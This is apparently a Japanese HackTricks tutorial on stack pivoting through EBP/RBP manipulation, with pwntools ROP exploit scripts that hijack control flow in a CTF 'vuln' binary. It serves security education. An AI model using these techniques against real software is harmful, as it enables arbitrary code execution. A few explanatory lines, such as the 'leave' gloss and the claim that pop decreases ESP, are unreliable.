Stack Pivoting - EBP2Ret - EBP chaining

Support HackTricks

基本情報

この技術は、**ベースポインタ(EBP)を操作する能力を利用して、EBPレジスタとleave; ret**命令シーケンスを慎重に使用することで、複数の関数の実行を連鎖させます。

おさらいとして、**leave**は基本的に次のことを意味します:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

この技術は、EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合に特に有用です。これは、関数が実行を終了する際の動作を利用します。

fvulnの実行中に、シェルコードのアドレスがあるメモリの領域を指す偽のEBPをスタックに注入することができれば(pop操作のために4バイトを加算)、EIPを間接的に制御できます。fvulnが戻ると、ESPはこの作成された位置に設定され、その後のpop操作でESPが4減少し、攻撃者がそこに保存したアドレスを指すことになります。 ここで、2つのアドレスを知っておく必要があります: ESPが移動するアドレスと、ESPが指すアドレスを書き込む必要がある場所です。

Exploit Construction

まず、任意のデータ/アドレスを書き込むことができるアドレスを知っておく必要があります。ESPはここを指し、最初のretを実行します

次に、任意のコードを実行するために使用されるretのアドレスを知っておく必要があります。以下のように使用できます:

  • 有効なONE_GADGETアドレス。

  • system()のアドレスの後に4バイトのジャンク"/bin/sh"のアドレス(x86ビット)。

  • jump esp;ガジェットのアドレス(ret2esp)の後に実行するシェルコード

  • 一部のROPチェーン。

制御されたメモリのこれらのアドレスの前には、4バイトが必要です。これは**pop部分のleave命令のためです。これらの4バイトを悪用して2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。

Off-By-One Exploit

この技術には「Off-By-One Exploit」として知られる特定のバリアントがあります。これは、EBPの最下位バイトのみを変更できる場合に使用されます。この場合、**ret**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能です。 通常、0x00のバイトを変更してできるだけ遠くにジャンプします。

また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。

EBP Chaining

したがって、スタックのEBPエントリに制御されたアドレスを配置し、EIPleave; retのアドレスを配置することで、スタックから制御されたEBPアドレスにESPを移動させることが可能です

今、**ESP**は制御され、望ましいアドレスを指しており、次に実行される命令はRETです。これを悪用するために、制御されたESPの場所に次のものを配置することができます:

  • &(next fake EBP) -> leave命令からのpop ebpにより新しいEBPをロード

  • system() -> retによって呼び出される

  • &(leave;ret) -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始

  • &("/bin/sh")-> systemのパラメータ

基本的に、この方法で複数の偽EBPを連鎖させてプログラムのフローを制御することが可能です。

これはret2libのようなものですが、明らかな利点はなく、特定のエッジケースで興味深いかもしれません。

さらに、ここにチャレンジの例があり、この技術を使用してスタックリークを利用して勝利関数を呼び出します。これはページからの最終ペイロードです:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBPは使用されない可能性がある

この投稿で説明されているように、バイナリがいくつかの最適化でコンパイルされている場合、EBPはESPを制御することができません。したがって、EBPを制御することによって機能する任意のエクスプロイトは基本的に失敗します。なぜなら、それには実際の効果がないからです。 これは、プロローグとエピローグがバイナリが最適化されると変更されるためです。

  • 最適化されていない:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 最適化された:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSPを制御する他の方法

pop rsp ガジェット

このページ では、この技術を使用した例を見つけることができます。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、pop rsp ガジェットがあり、スタックからのリークがあります:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp ガジェット

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2espテクニックについては、こちらを確認してください:

Ret2esp / Ret2reg

参考文献と他の例

ARM64

ARM64では、関数のプロローグとエピローグスタック内のSPレジスタを保存および取得しません。さらに、**RET命令はSPが指すアドレスに戻るのではなく、x30**内のアドレスに戻ります。

したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きしてSPレジスタを制御することはできません。そして、SPを制御できたとしても、x30レジスタを制御する方法が必要です。

  • プロローグ

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FPはフレームレコードを指します
  • エピローグ

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

ARM64でスタックピボティングに似たことを行う方法は、**SP**を制御できるようにすることです(SPに渡される値を持つレジスタを制御するか、何らかの理由でSPがスタックからアドレスを取得しており、オーバーフローがある場合)そして、エピローグを悪用して、**制御されたSPからx30**レジスタをロードし、**それにRET**することです。

次のページでは、ARM64におけるRet2espの同等物を見ることができます:

Ret2esp / Ret2reg
HackTricksをサポートする

Last updated